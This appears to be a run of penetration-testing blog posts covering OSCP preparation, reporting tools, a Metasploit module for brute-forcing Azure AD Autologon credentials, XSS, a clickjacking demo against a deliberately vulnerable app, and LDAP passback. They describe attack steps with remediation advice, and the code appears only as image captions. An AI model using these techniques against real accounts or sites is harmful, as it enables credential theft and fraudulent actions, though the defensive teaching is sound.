    Once you have your short list of companies, it’s a good idea to talk to some of their customers, if possible, to find out what they liked or didn’t like about the service. Ask about communications. Were they kept in the loop about what was going on? Did the company explain both successful and unsuccessful breach attempts? Did they get a clear picture of the issues, presented as actionable storyboards?

    In addition, it’s a good idea to ask about the people they worked with. Were they professional? Was it a full team or an individual? Do they bring a variety of skillsets to the table? Did they take time to understand your business model and test in a way that made sense? It’s important to remember here that many pentesting customers insist on privacy. The company may not be able to provide some references and others may not be willing to discuss the experience, However, some will, and that will add to your knowledgebase.

    If you’ve completed steps 1 through 6, you should be armed with the information you need to begin interviewing potential penetration testing companies. You’ll be able to explain what you need and gauge whether they seem like a good match or not. And you’ll know how their customers feel about their service.

    If you found this post helpful, make sure to follow our blog. In the weeks ahead, we’ll be discussing the questions you should ask potential pentesting companies – and the answers you should expect to hear.

    Want to learn more? Take a look at the second part in our How to Hire a Penetration Testing Firm Series.

  • Reporting Tools for Large Penetration Tests

    “Give a pentester a table, they submit one report. Automate making tables, they can submit reports for life.”

    k0pak4

    Displaying findings clearly and concisely is key to making a penetration testing report actionable. The proof of concept allows a client to replicate the finding, and a list of affected targets allows them to properly remediate all assets. On large engagements, there are often findings that affect many hosts; when presented concisely, this can be acted on much more easily. There are already amazing tools out there to scan many hosts and report their findings. (Nessus, Nexpose, and Nmap are examples.) The problem is that none were doing what I was looking for — reporting the affected hosts for one finding, concisely.

    The first two tools described here quickly create tables showcasing the details behind two common findings on large external pentest reports. Clients can also use these tools to verify remediations without having to manually inspect each host. The last tool can be used to turn any list into a sorted table, which works well when you simply need a large table to display many hosts.

    mass-sslscan (https://github.com/k0pak4/mass-sslscan)

    There are several tools that will break down the weak SSL/TLS protocol versions, ciphers, and signature algorithms used in TLS connections. Some of these are web-based, such as SSL Labs, and others are command-line based, such as the SSLScan tool. My mass-sslscan tool runs SSLScan against an entire list of hosts, parses the output of the tool, and creates a table with each host that displays which weak configuration(s) they have. This can also be used in remediation to ensure those servers have had their configurations strengthened. An example of running the tool is shown below:

    mass-sslscan command line
    server-header-scan (https://github.com/k0pak4/server-header-scan)

    On penetration tests, it’s common to find the HTTP server header, which can disclose the web server’s software and sometimes its exact version. This information leakage is typically of low severity, but helps an attacker fingerprint the server, which may disclose a vulnerable version. In more targeted attacks, it might tell them what software to build an exploit for. My tool, server-header-scan, retrieves the server header from each target, and inserts the results into a table with each retrieved value, as shown in the following example:

    server-header-scan command line
    table-maker (https://github.com/k0pak4/table-maker)

    The table-maker is a bit more straightforward. It takes a list, either as a comma-separated list or as a file with one item per line, and turns it into a table with the desired number of columns. This can be useful for extremely large scopes or when discovering many hosts are vulnerable to a specific finding. This results in a csv ready to be opened and pasted as a table, as shown in the illustration below:

    table-maker command line

    If you compile reports for large penetration tests, odds are that you’re going to be pressed for time at some point. My hope is that these tools will make it easier for you to provide more and better information to your customers in a way that helps them understand and act on your findings.

  • So, You Want to Earn Your OSCP?

    I’m Andrew Trexler, senior penetration tester at Raxis. As the Raxis team member to earn the Offensive Security Certified Professional (OSCP) designation most recently, I’m sharing my thoughts about the experience. My goals are to provide you with information I found helpful as well as to share some things I wish I had known in advance.

    Why take the OSCP?

    If you’re serious about being a penetration tester, the OSCP is, for all intents and purposes, the industry standard. As I considered pentesting as a career, I spoke with lots of people who were working in the field already. Consistently, they recommended getting the certificate, which requires taking the Penetration Testing with Kali Linux (PWK) course. I also watched a great YouTube video by John Hammond in which he recommended it.

    In truth, the course is useful for any career in cybersecurity, not just pentesting. If you’re working on a blue team, for example, the experience of hacking into a network provides a lot of valuable insights for developing a cyber defense strategy.

    Where to Start

    As I mentioned, you start officially with the PWK course. Going through it is helpful, and you really do learn a lot. The course includes a manual along with a lab environment. It is self-paced, so you go through it on your own time and schedule the test when you’re ready to take it.

    However, there are some things I recommend doing beforehand. If you are new to the pentesting/cybersecurity field I would start with some capture-the-flag (CTF) exercises like those found here. After getting comfortable with CTFs, you might find it helpful to move on to  sites like Hack the Box  or TryHackMe. Doing these first will help you hit the ground and get running a little faster in the lab environment.

    How to Make the Most of Your Coursework

    Take lots of notes. While going through the lab, you’ll do many different things – and you’ll do the same things multiple times. Keeping notes on how you got access to each machine during the lab work (yes, with copy/paste commands and explanations) will help during the test. Your notes can give you ideas and help you remember difficult syntax. Also, notes that act as cheat sheets with common commands are especially helpful. (I use Obsidian to take notes in Markdown.)

    Further, I recommend spending as much time in the lab as possible. While there is a forum for users, it may sound like the people there are speaking in code. If you struggle, just keep working the problem and learning. If you do get stuck, ask questions in the forum. From my experience everyone is helpful, but they know it’s more important to guide you to an answer than give it to you. Those who answer usually do it in a way that makes you learn the solution on your own, and you’ll thank them for that when you are taking the OSCP exam.

    About the Lab

    The lab houses more than 70 different computers. Most of these computers contain vulnerable software that can be exploited – and some don’t. The idea is to exploit a vulnerable machine, grab any information it’s storing, and then use it to access a machine that does not have a vulnerability.

    Among the vulnerabilities you’ll see in the lab are ones that are well-known and that have been around for years. EternalBlue is one example. Then, there are smaller applications that still have known vulnerabilities, but require a little searching to find the right exploit.

    The real challenges are the custom applications that either can be used to gain access or have their own vulnerabilities that require custom exploitation, using anything from XSS to SQLi to LFI/RFI. There are also remote and local exploits to gain access and then escalate privileges.

    See a term you don’t recognize? Visit our glossary.

    To me, the most interesting part of the lab is the subnet structure. There are different subnets that require access to an initial computer, at which point you can pivot and pass traffic through that computer. This proxying traffic can be the only way to hit and exploit the other machines on the subnet.

    Andrew Trexler, Lead Penetration Tester
    How the Test Works

    There are five different machines on the test. On each are text files that can be submitted to prove your access. Depending on the difficulty of the machine, these files are worth varying numbers of points. Of 100 available points, you’ll need 70 to pass the exam.

    However, to get credit for those points, you have 24 hours to write a report that includes the steps you took to exploit the machine. These must be replicable by a technically competent reader and must contain either the link to the exploit code used or the exploit code if changes were made to it.

    During the exam, you are not allowed to use automated exploit tools. Metasploit can only be used once during the test, whether it works or not. Other exploits must be created manually by inputting the correct data or scripts, which may require some trial and error.

    What to do Before the Exam

    It sounds counterintuitive, but I don’t recommend studying or practicing right up until test time. Instead, try to take the day before the exam to prepare for how you’re going to take it. The exam must be completed in 24 hours, but you can pick an early or late start time. If you’re an early riser, start early. If you like to sleep in, start later. The point is to make sure that you play to your own strengths.

    Use your prep to do other helpful things as well. Maybe make sandwiches for the next day or set up the computer you are going to use to take the test. Figuring out things that you can do the day before can and will make things easier come test day.

    What to do on Exam Day

    The hardest part of the exam is the time management. The attacks to gain access are straightforward once you find them. However, you might have to change things up to get the exploit to work.

    Be sure to watch out for rabbit holes. There aren’t many, but being able to recognize them and get out of them quickly is a critical skill. Part of what they are testing is how quickly you figure out when you’re on the wrong path . . . or if you just haven’t gone far enough down the right one.

    Also keeping things fresh and not getting frustrated is key. That’s why it’s important to take your time, despite the deadline. I felt pressured by the 24-hour time limit, but it helped a lot to take a five-minute break about once each hour. Walking away from the computer and just re-setting a little bit can bring the burst of inspiration that helps you get to the next step.

    Incidentally, time management is a skill that’s even more essential in your career as a pentester. There’s only a certain amount of time allotted for testing, so you can’t get sidetracked chasing dead ends.

    Final Thoughts

    Remember that this is a professional certification, and many people don’t pass it on their first try. Let that take some of the pressure off. If you don’t pass this time, you always have next time.

    And, yes, it’s very hard. But that’s a good thing. If it were easy, everyone could do it and that would rob you of the satisfaction and respect that comes with earning your OSCP.

  • New Metasploit Module: Azure AD Login Scanner

    Summary

    In June of 2021, Secureworks Counter Threat Unit (CTU) discovered that the protocol used by Azure Active Directory (AD) Seamless Single Sign-On (SSO) allows for brute-forcing usernames and passwords without generating log events on the targeted tenant. In addition to brute-forcing credential pairs, the Azure endpoint returns error codes that allow for username enumeration. This post details the vulnerable endpoint, and how it can be exploited to brute-force usernames and passwords in a succinct Metasploit module.

    Vulnerability Description

    In addition to the normal Azure AD authentication workflow for SSO, which utilizes Kerberos, the usernamemixed endpoint of Autologon accepts single-factor authentication. Authentication attempts to this endpoint are in XML, as shown here:

    Example XML Authentication Request

    The Autologon endpoint takes these credentials and sends them to Azure AD to authenticate the user. If the credentials are valid, the authentication is successful, and the Autologon endpoint responds with XML containing a DesktopSsoToken, which is used to further connect and authenticate with Azure AD. When a successful logon occurs, Azure AD properly logs the event.

    However, on authentication attempts that are unsuccessful, the authentication attempt does not get logged by the tenant. If the credentials are invalid, the Autologon endpoint responds with XML containing a specific error code for the authentication attempt, as shown here:

    Detailed Error Code in XML Response

    The error code provided in this response can be further used to determine valid usernames, whether MFA is needed, if the user has no password in Azure AD, and more. The error codes used in the Metasploit module I developed are shown below:

    Error Codes
    Metasploit Module

    The Metasploit module (auxiliary/scanner/http/azure_ad_login) can enumerate usernames or brute-force username/password pairs based on the responses from the Autologon endpoint described above. If you have a target tenant using Azure AD SSO and usernames/passwords to validate, you can use this module by setting the following variables:

    • DOMAIN – The target tenant’s domain (e.g., bionicle.dev)
    • USERNAME or USER_FILE – A single username to test or a file containing usernames (one per line)
    • PASSWORD or PASS_FILE – A single password or a file containing passwords (one per line)

    When you run the module, every username/password pair is tested using the authentication XML request shown above to validate the pairing. When a valid username/password pairing is found, the DesktopSsoToken is also displayed to the user, as shown here:

    Example Azure AD Login Module Usage
    Remediation and Protection

    As of the writing of this post, there is no direct remediation to this vulnerability if your organization is using Azure AD with Single Sign-On. Microsoft has deemed this part of the normal workflow, and thus there are no known plans to remediate the endpoint. From a defender’s point of view, this vulnerability is particularly difficult to defend against due to the lack of logs from invalid login attempts. Raxis recommends the following to help defend against this vulnerability:

    • Ensure users set strong passwords in Active Directory by having a strong password policy.
    • Enable Multi-Factor Authentication on all services that may use AD credentials in case a valid username/password pair is discovered.
    • Consider setting a Smart Lockout policy in Azure that will lock out accounts targeted by brute-force attacks. This won’t help with password spraying, but will for single user brute-forcing.
    • Monitor for unusual successful logins from users (e.g. unusual locations).
    • Educate users about password hygiene so that they can learn to set strong passwords that won’t be caught by password spraying attacks.
    Metasploit Module Details
    References

     

  • Cross-Site Scripting (XSS): Filter Evasion and Sideloading

    This is the second video in my three-part series about cross-site scripting (XSS), a type of injection attack that results from user-supplied data that is not properly sanitized or filtered from an application. In the previous video, I discussed the basics of how XSS works and offered some recommendations on how steps to protect against it.

    In this video, we’ll take it a step further. I’ll show you some techniques hackers use to get past common remediation efforts. First is filter evasion, which uses different types of tags to insert malicious code when filters are in place to prevent scripts from running. The second is a technique I call sideloading content, importing third-party content in order to deliver a malicious payload.

    Injection attacks are number three on the OWASP Top 10 list of frequently occurring vulnerabilities, and, indeed, they are a finding Raxis discovers quite frequently. (Over the past year, I have discovered five XSS CVEs.) So, in addition to explaining how these attacks work, I also explain how to stop them.

    In my next video, we’ll take a look at some more advanced methods for cross-site scripting, again with some remediation tips included. So, if you haven’t done so already, please subscribe to our YouTube channel and watch for new content from the Raxis team.

    Want to learn more? Take a look at the first part in our Cross-Site Scripting Series.

  • Introduction to Cross-Site Scripting

    Cross-site scripting (XSS) has been a popular finding for me in 2021, discovering five XSS vulnerabilities that have been assigned CVEs. Additionally, it’s been present on recent application testing as well, so I thought it would be beneficial to cover XSS in more depth.

    This video is the first in a series of blog posts that will describe various cross-site scripting attacks, remediations, and specific areas to look out for that I have seen overlooked in the sanitization of user-supplied data. This video covers the basics of cross-site scripting, including reflected, stored, and DOM-based XSS. Additionally, I’ll discuss remediation to protect against these attacks. Future videos will cover filter evasion and side-loading payloads, as well as cookie theft and advanced payloads.

    I hope this video and the ones that follow give you a better idea about how cross-site scripting works, why it’s dangerous, and how to prevent it from happening to your company.

    Want to learn more? Take a look at the second part in our Cross-Site Scripting Series.

  • Realistically Assessing the Threat of Clickjacking Today

    Clickjacking is an easily preventable but sometimes difficult to understand vulnerability. In this article, we’re going to talk about the different ways this vulnerability can be exploited, the associated risk, and how to defend yourself against these types of attacks.

    Let’s start with an explanation of how this attack works.

    What is Clickjacking?

    At its core, clickjacking is an attack that is made possible when the web application does not implement the proper protections against embedding its pages in an iframe. An attacker leverages this behavior to “hijack” a user’s click and trick them into executing an action in their account.

    I’ve set up an instance of bWAPP, an intentionally vulnerable web application by ITSec Games, that will allow us to look at a clickjacking attack in practice. Our vulnerable web application is running at “bwapp.raxis.local,” and you’ll see this reflected in the screenshots and sample code below.

    Finding a Target

    The first thing we’ll need to do is find a page we can target. When looking for a page that might be vulnerable to clickjacking, it should allow for an action that meets three criteria:

    • It can be executed in a single click (or very few);
    • It affects a logged in user; and
    • It could have an undesirable effect on the user or the organization.

    It looks like our vulnerable web application has a page that meets all three criteria:

    A buggy app

    This page allows authenticated users to purchase movie tickets in a single click with a default of 10 tickets. No confirmation is required, and without manipulating the forms on this page, this will result in an unwanted purchase of €150 worth of movie tickets.

    This behavior might seem unlikely to exist in the wild, but there are many different types of susceptible pages, from order confirmations like this to functionalities allowing a user to delete entire databases. Some of these susceptible pages may even incorporate parameters in the URL, which can be passed by an attacker. For example, an application might use a URL like the one below to create an order confirmation page dynamically:

    http://example.com/order/confirm?product=jetski&quantity=10&payment=saved
    Checking for Clickjacking Protections

    Now that we have our target page, let’s look at how to use it in an attack.

    The first thing we need to determine is whether the target page can be embedded in an iframe. While there are several methods of doing this, the easiest and most reliable by far is to try to embed a target page into an iframe on an attacker-controlled web page and see if it works. Let’s code up the web page now.

    Code to test if the target page can be embedded in an iframe

    As we can see, there’s nothing very complex to this code. It’s a barebones HTML file, which includes an iframe referencing the page we want to embed. Let’s open up our HTML file in our browser and see if this works.

    Webpage can be embedded in an iframe

    The web page loads into the iframe without issue. We can also see that, since we were already logged in to bWAPP, our session carried over.

    Executing the Attack

    Now that we have a good idea that the page is vulnerable, all we have left to do is code up a page designed to trick the user into clicking the Confirm button and convince the user into visiting to our malicious page.

    To build this malicious page, we’re going to construct an enticing user interface:

    The clickjacking user interface

    Then, we’ll stick the iframe on top and align the Confirm button with the View button. I’ve made the iframe partially transparent in the screenshot below so you can see the multiple layers.

    Webpage showing both the embedded page and the iframe page partially transparent

    And finally, we’ll make the iframe completely transparent so that the user doesn’t even know that it’s there.

    Completely transparent iframe with invisible embedded clickjacked website

    Now, when the user clicks the view button, they’ll actually be clicking the invisible Confirm button and purchasing 10 movie tickets, provided they’re logged in to their account.

    Partially transparent clickjacked page showing that a click on the submit button will confirm a purchase on the embedded site.

    Mission accomplished.

    Here is the code that I threw together quickly for the purposes of this demo:

    Clickjacking code

    Perhaps the trickiest part of this attack is coming up with a method that will get users to go to our malicious page. An attacker might:

    • Post a link to the malicious page in social media
    • Email a malicious link to a user or group of users
    • Embed a link in a QR code
    • Attach the malicious HTML file to an email
    • Leverage another vulnerability such as cross-site scripting (XSS) or open redirection
    When Clickjacking isn’t Clickjacking

    Let’s look at a different style of attack that’s popular among some penetration testers. This attack embeds a login page and places input elements on top of the login fields:

    Outdated clickjacking PoC

    The overlaid fields are shown in blue for this article but would normally be completely invisible to the user. When a user fills out this form and submits it, the login request is instead sent to an attacker-controlled server, giving the attacker access to the user’s unencrypted credentials. You can read more about this style of attack here.

    But is this type of attack really considered clickjacking? It involves an embedded iframe and overlays, but it is drastically different from our previous example. To determine this, let’s put ourselves into the mindset of an attacker.

    As an attacker, our goal here is to capture as many credentials as reliably as possible while evading detection. There are at least two approaches we can take:

    • Embed the target login page in a malicious HTML page as shown in the proof of concept, or
    • Clone the HTML code of the login page and modify the form to send to a malicious server

    These approaches are very similar. Both require hosting the page on a malicious web server, both require misleading the user into visiting a malicious link, and both redirect user input to a malicious server. Both approaches even run the same risk of the malicious web server being reported, blocked, or shut down.

    However, when embedding the login page, there are additional factors that the attacker must consider:

    • The target login page may already have clickjacking protections in place;
    • The target login page could be altered, breaking the malicious page;
    • The target login page could implement clickjacking protections, breaking the malicious page;
    • The target login page cannot be easily modified by the attacker;
    • It’s possible for the target page to determine and report the URL of the malicious page; and
    • The malicious page may not look or function correctly if the window is resized

    When considering the large number of downsides of using an iframe and overlay elements to conduct this attack, it is extremely unlikely that an attacker would attempt to execute it through clickjacking. Far more likely is that an attacker would simply clone the login page using a myriad of freely available tools designed to do exactly this.

    Implementing protections against clickjacking would not stop this attack from occurring. Instead, the attacker would simply clone or recreate the page, which cannot be prevented. The proof of concept itself is also a stretch from the commonly agreed upon definition of clickjacking. For these reasons, Raxis in most cases no longer considers this type of attack to be clickjacking. Instead, we label this as a misconfigured security-related header, which continues to inform the customer of the small but perceptible risk, without blowing what’s essentially a non-exploitable vulnerability out of proportion.

    Protecting Against Clickjacking

    Despite the complex nature of a clickjacking attack and its reliance on phishing, developers should still take a layered approach to protecting their applications from this type of attack. This can be done by properly configuring two response headers and by properly setting flags on cookies.

    Content-Security-Policy

    For the uninitiated, Content-Security-Policy is a highly versatile header which can offer a large amount of protection to the end user when configured properly. You can generate one at https://report-uri.com/home/generate, and verify your existing one at https://csp-evaluator.withgoogle.com/.

    To prevent pages from being embedded in iframes, we can use the frame-ancestors directive. Here’s a few ways this can be properly implemented:

    • Content-Security-Policy: frame-ancestors ‘none’ – Prohibits the page from being embedded anywhere
    • Content-Security-Policy: frame-ancestors ‘self’ – Allows the page to be embedded on the same domain only (exclusive of subdomains)
    • Content-Security-Policy: frame-ancestors https://*.raxis.local https://raxis.local – Allows the page to be embedded on raxis.local and any of its subdomains
    X-Frame-Options

    X-Frame-Options used to be the primary line of defense against iframe embedding but has since been made obsolete by the frame-ancestors directive. Unless, of course, your users are using any version of Internet Explorer. To cover all our bases and take off this 1.1% of users, we need to add this header for legacy purposes. Configure this header in one of the following ways:

    • X-Frame-Options: DENY – Prevent the page from being embedded anywhere
    • X-Frame-Options: SAMEORIGIN – Allow the page to be embedded on the same domain only
    Cookie Attribute – SameSite

    A relatively new cookie attribute, SameSite, can also help protect against clickjacking by restricting the conditions in which cookies (such as a session token or JWT) are sent by the browser.

    As of mid-2020, SameSite is set to Lax by default when the attribute is not set in Set-Cookie. This value prevents cookies from being sent in iframes, which essentially breaks any clickjacking attack that relies on the user being logged in.

    To use the SameSite attribute as an additional layer of protection against clickjacking, configure the SameSite attribute on your session-related cookies to one of the following values:

    • SameSite=Strict – No cross-site cookies, ever
    • SameSite=Lax – Cross-site cookies only when the user is navigating to the original site

    Since Lax is the default, you can leave this value unconfigured, but it’s a best practice to explicitly configure it as one of the above values, both from a documentation and security standpoint.

    You can read more about the SameSite attribute at https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite.

    Side Note: Setting SameSite to Strict or Lax also helps defend against cross-site request forgery (CSRF) attacks.

  • LDAP Passback and Why We Harp on Passwords

    Hackers are like anyone else in that they would rather work smarter, not harder – picking the low-hanging fruit first. Oftentimes, we find companies who put it in front of them without even knowing it.

    In today’s video, I demonstrate how to conduct a Lightweight Directory Access Protocol (LDAP) passback attack, essentially using third-party hardware or software as an access point to a company network. I’ll show you three different ways to conduct the attack and offer some helpful tips on how to defend against it. 

    What I believe is important to add here is the common thread that links all of them: access to a password. If you want to know why our discussions seem to always circle back to that concept, it’s because an improperly protected password is a master key for hackers, whether their hats are white or black. 

    One is usually all we need to get inside your network. From there, the possibilities are limited only by our imaginations (and our scope of work). As I discuss at the outset of the video, too many of our customers make it easy by leaving devices like printers set to their default passwords or even null passwords, meaning they never created a password to begin with.

    Once we control the device, capturing legitimate passwords is easy. The Raxis team has conducted several internal network tests where discovering an admin interface with default or null credentials got us full domain admin access to the network. In one case, a vendor told the company that the default password was okay to use for a few weeks until things were all set up. On another, we found a password file on a sensitive file share that was set up without a password while the IT staff moved it to a new server. And still another company had no clue a system had a default password. They said it had always been that way. 

    LDAP passback attacks can be prevented, but it takes companies implementing robust security protocols for everything with an IP address on your network – including printers and other devices. 

    Remember, if it’s connected, it must be protected. 

    Make sure all your devices are locked down with a strong password — no matter how innocuous the device may seem. It’s a hacker’s job to find their way in. It’s Raxis’ job to identify these vulnerabilities so that you can correct them before that happens. 

    Our team of experts are ready to help you and your organization find its weaknesses and help you strengthen your security. Talk with our team today.